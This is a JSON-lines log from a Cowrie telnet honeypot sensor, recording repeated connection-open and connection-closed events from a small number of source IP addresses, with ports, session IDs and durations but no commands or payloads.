{"eventid":"cowrie.session.closed","duration":32.20990180969238,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.153144Z","src_ip":"23.111.140.22","session":"834096107b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37846040725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.191379Z","src_ip":"23.111.140.22","session":"a1abbd1daf8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48610,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b79bd0c18d9","protocol":"telnet","message":"New connection: 23.111.140.22:48610 (10.17.0.5:23) [session: 3b79bd0c18d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.255574Z"}
{"eventid":"cowrie.session.closed","duration":30.93564748764038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.362511Z","src_ip":"23.111.140.22","session":"e6e4a527ab7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45976,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae171225e1c","protocol":"telnet","message":"New connection: 23.111.140.22:45976 (10.17.0.5:23) [session: bae171225e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.430110Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46316,"dst_ip":"10.17.0.5","dst_port":23,"session":"524d3d611da7","protocol":"telnet","message":"New connection: 23.111.140.22:46316 (10.17.0.5:23) [session: 524d3d611da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.529826Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"372fc31c8d64","protocol":"telnet","message":"New connection: 23.111.140.22:46920 (10.17.0.5:23) [session: 372fc31c8d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.730306Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50548,"dst_ip":"10.17.0.5","dst_port":23,"session":"998ed57437bd","protocol":"telnet","message":"New connection: 23.111.140.22:50548 (10.17.0.5:23) [session: 998ed57437bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.876306Z"}
{"eventid":"cowrie.session.closed","duration":32.4422173500061,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.970183Z","src_ip":"23.111.140.22","session":"067d5a9cebaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00440526008606,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:22.992999Z","src_ip":"23.111.140.22","session":"a8c4f4e7bfaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17940092086792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.148342Z","src_ip":"23.111.140.22","session":"4e3e2f03b00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42448,"dst_ip":"10.17.0.5","dst_port":23,"session":"afeca065ef22","protocol":"telnet","message":"New connection: 23.111.140.22:42448 (10.17.0.5:23) [session: afeca065ef22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.322603Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52158,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b22ae78e31","protocol":"telnet","message":"New connection: 23.111.140.22:52158 (10.17.0.5:23) [session: 91b22ae78e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.397687Z"}
{"eventid":"cowrie.session.closed","duration":34.263995885849,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.573117Z","src_ip":"23.111.140.22","session":"a8a83ff354ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96885418891907,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.603959Z","src_ip":"23.111.140.22","session":"0cf24d1dedd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87830662727356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.699095Z","src_ip":"23.111.140.22","session":"be894009ef46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53690,"dst_ip":"10.17.0.5","dst_port":23,"session":"008a3d61efb5","protocol":"telnet","message":"New connection: 23.111.140.22:53690 (10.17.0.5:23) [session: 008a3d61efb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:23.861074Z"}
{"eventid":"cowrie.session.closed","duration":33.11464262008667,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:24.436385Z","src_ip":"23.111.140.22","session":"804c115f5e38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52946,"dst_ip":"10.17.0.5","dst_port":23,"session":"74a24bbb7348","protocol":"telnet","message":"New connection: 23.111.140.22:52946 (10.17.0.5:23) [session: 74a24bbb7348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:24.642268Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56956,"dst_ip":"10.17.0.5","dst_port":23,"session":"0702644e5143","protocol":"telnet","message":"New connection: 23.111.140.22:56956 (10.17.0.5:23) [session: 0702644e5143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:24.922237Z"}
{"eventid":"cowrie.session.closed","duration":31.001036882400513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:25.131464Z","src_ip":"23.111.140.22","session":"a36be605320f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27419996261597,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:25.509761Z","src_ip":"23.111.140.22","session":"13ba59fb0949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.949599981307983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:25.681182Z","src_ip":"23.111.140.22","session":"262abca61f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe985794d780","protocol":"telnet","message":"New connection: 23.111.140.22:47548 (10.17.0.5:23) [session: fe985794d780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:25.891616Z"}
{"eventid":"cowrie.session.closed","duration":32.58527445793152,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:25.942275Z","src_ip":"23.111.140.22","session":"ca996408b527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57708,"dst_ip":"10.17.0.5","dst_port":23,"session":"64011ffc0ac3","protocol":"telnet","message":"New connection: 23.111.140.22:57708 (10.17.0.5:23) [session: 64011ffc0ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:26.168732Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39260,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d88e5927e8f","protocol":"telnet","message":"New connection: 23.111.140.22:39260 (10.17.0.5:23) [session: 7d88e5927e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:26.530327Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34382,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2871f239d30","protocol":"telnet","message":"New connection: 23.111.140.22:34382 (10.17.0.5:23) [session: e2871f239d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:26.763698Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40112,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67aa4260918","protocol":"telnet","message":"New connection: 23.111.140.22:40112 (10.17.0.5:23) [session: e67aa4260918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:26.786634Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34990,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f7ee49915a","protocol":"telnet","message":"New connection: 23.111.140.22:34990 (10.17.0.5:23) [session: 43f7ee49915a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:26.933949Z"}
{"eventid":"cowrie.session.closed","duration":30.823354244232178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:27.210944Z","src_ip":"23.111.140.22","session":"0e571f86e5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46250,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb02c631677b","protocol":"telnet","message":"New connection: 23.111.140.22:46250 (10.17.0.5:23) [session: bb02c631677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:27.299672Z"}
{"eventid":"cowrie.session.closed","duration":31.439587831497192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:27.586832Z","src_ip":"23.111.140.22","session":"a8fdb299e3a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4482379a452","protocol":"telnet","message":"New connection: 23.111.140.22:37248 (10.17.0.5:23) [session: f4482379a452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:27.657187Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38096,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb47256c2ce","protocol":"telnet","message":"New connection: 23.111.140.22:38096 (10.17.0.5:23) [session: ccb47256c2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:27.891501Z"}
{"eventid":"cowrie.session.closed","duration":31.287748336791992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.123079Z","src_ip":"23.111.140.22","session":"f6bcdb4065f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809695720672607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.218008Z","src_ip":"23.111.140.22","session":"3b513c0d34dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2416033744812,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.316577Z","src_ip":"23.111.140.22","session":"880c72cbc1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79271125793457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.370087Z","src_ip":"23.111.140.22","session":"52ca5299b6c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37006,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b653050662","protocol":"telnet","message":"New connection: 23.111.140.22:37006 (10.17.0.5:23) [session: 71b653050662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.577191Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40826,"dst_ip":"10.17.0.5","dst_port":23,"session":"100460191247","protocol":"telnet","message":"New connection: 23.111.140.22:40826 (10.17.0.5:23) [session: 100460191247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.706906Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37830,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd2d81ed6f3","protocol":"telnet","message":"New connection: 23.111.140.22:37830 (10.17.0.5:23) [session: efd2d81ed6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:28.822069Z"}
{"eventid":"cowrie.session.closed","duration":33.129950761795044,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:29.260213Z","src_ip":"23.111.140.22","session":"52248265d41b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42732,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd3d522b5c0","protocol":"telnet","message":"New connection: 23.111.140.22:42732 (10.17.0.5:23) [session: 3cd3d522b5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:29.292464Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40932,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc07f5cf1b6","protocol":"telnet","message":"New connection: 23.111.140.22:40932 (10.17.0.5:23) [session: cfc07f5cf1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:29.738053Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38108,"dst_ip":"10.17.0.5","dst_port":23,"session":"37dcb1b3ebc8","protocol":"telnet","message":"New connection: 23.111.140.22:38108 (10.17.0.5:23) [session: 37dcb1b3ebc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:29.923491Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45610,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbcd9988610a","protocol":"telnet","message":"New connection: 23.111.140.22:45610 (10.17.0.5:23) [session: bbcd9988610a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:30.175593Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46204,"dst_ip":"10.17.0.5","dst_port":23,"session":"99814545130b","protocol":"telnet","message":"New connection: 23.111.140.22:46204 (10.17.0.5:23) [session: 99814545130b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:30.407208Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45546,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ad48236018","protocol":"telnet","message":"New connection: 23.111.140.22:45546 (10.17.0.5:23) [session: 06ad48236018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:31.170689Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"710c4891160e","protocol":"telnet","message":"New connection: 23.111.140.22:45856 (10.17.0.5:23) [session: 710c4891160e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:31.279763Z"}
{"eventid":"cowrie.session.closed","duration":31.538352966308594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:31.648699Z","src_ip":"23.111.140.22","session":"f5294b46fb2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19272756576538,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:31.693846Z","src_ip":"23.111.140.22","session":"fb807c55af4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56467604637146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:32.105734Z","src_ip":"23.111.140.22","session":"7243ca90566c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39961266517639,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:33.531245Z","src_ip":"23.111.140.22","session":"0a79723c9866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48624,"dst_ip":"10.17.0.5","dst_port":23,"session":"3000577bdd17","protocol":"telnet","message":"New connection: 23.111.140.22:48624 (10.17.0.5:23) [session: 3000577bdd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:33.648635Z"}
{"eventid":"cowrie.session.closed","duration":0.004522085189819336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:33.653052Z","src_ip":"23.111.140.22","session":"3000577bdd17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.977553367614746,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:33.884595Z","src_ip":"23.111.140.22","session":"3b862efb70bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57924,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4b37e18c265","protocol":"telnet","message":"New connection: 23.111.140.22:57924 (10.17.0.5:23) [session: d4b37e18c265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:34.205162Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58342,"dst_ip":"10.17.0.5","dst_port":23,"session":"32d0b831976c","protocol":"telnet","message":"New connection: 23.111.140.22:58342 (10.17.0.5:23) [session: 32d0b831976c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:34.356168Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"d077680d1945","protocol":"telnet","message":"New connection: 23.111.140.22:58684 (10.17.0.5:23) [session: d077680d1945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:34.490547Z"}
{"eventid":"cowrie.session.closed","duration":31.57038712501526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:34.504874Z","src_ip":"23.111.140.22","session":"33d68957c34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5184543132782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:35.034420Z","src_ip":"23.111.140.22","session":"4b486375253f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32948,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db93a83fa29","protocol":"telnet","message":"New connection: 23.111.140.22:32948 (10.17.0.5:23) [session: 8db93a83fa29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:35.346856Z"}
{"eventid":"cowrie.session.closed","duration":30.592952013015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:35.365653Z","src_ip":"23.111.140.22","session":"a1ec74e0abb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46808385848999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:36.426363Z","src_ip":"23.111.140.22","session":"e4b4cbef4214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.646403551101685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:37.850729Z","src_ip":"23.111.140.22","session":"ab96bfe6ae03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98801064491272,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:38.182618Z","src_ip":"23.111.140.22","session":"7336ca21654a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164866447449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:38.211766Z","src_ip":"49.88.156.34","session":"b2975d34b97d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65618371963501,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:38.789458Z","src_ip":"23.111.140.22","session":"a387eca47c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60378,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85d376a988e","protocol":"telnet","message":"New connection: 23.111.140.22:60378 (10.17.0.5:23) [session: e85d376a988e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:38.828599Z"}
{"eventid":"cowrie.session.closed","duration":0.005315065383911133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:38.833861Z","src_ip":"23.111.140.22","session":"e85d376a988e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33390,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c2ddb054b0","protocol":"telnet","message":"New connection: 23.111.140.22:33390 (10.17.0.5:23) [session: 10c2ddb054b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:39.015744Z"}
{"eventid":"cowrie.session.closed","duration":0.005435943603515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:39.021065Z","src_ip":"23.111.140.22","session":"10c2ddb054b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44756,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c92106428d6","protocol":"telnet","message":"New connection: 23.111.140.22:44756 (10.17.0.5:23) [session: 1c92106428d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:39.076672Z"}
{"eventid":"cowrie.session.closed","duration":31.08053684234619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:39.580027Z","src_ip":"23.111.140.22","session":"2333e2175c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.304353952407837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:39.737154Z","src_ip":"23.111.140.22","session":"8e0582d57c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47028,"dst_ip":"10.17.0.5","dst_port":23,"session":"546a262e1cb6","protocol":"telnet","message":"New connection: 23.111.140.22:47028 (10.17.0.5:23) [session: 546a262e1cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:39.860741Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47728,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba2fd4f67c68","protocol":"telnet","message":"New connection: 23.111.140.22:47728 (10.17.0.5:23) [session: ba2fd4f67c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:40.026416Z"}
{"eventid":"cowrie.session.closed","duration":30.41542339324951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:40.031379Z","src_ip":"23.111.140.22","session":"774e8338fe55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39962840080261,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:40.156892Z","src_ip":"23.111.140.22","session":"d638ea30110b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93948769569397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:40.172992Z","src_ip":"23.111.140.22","session":"93caf469c407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48332,"dst_ip":"10.17.0.5","dst_port":23,"session":"54cbbe0dc891","protocol":"telnet","message":"New connection: 23.111.140.22:48332 (10.17.0.5:23) [session: 54cbbe0dc891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:40.287671Z"}
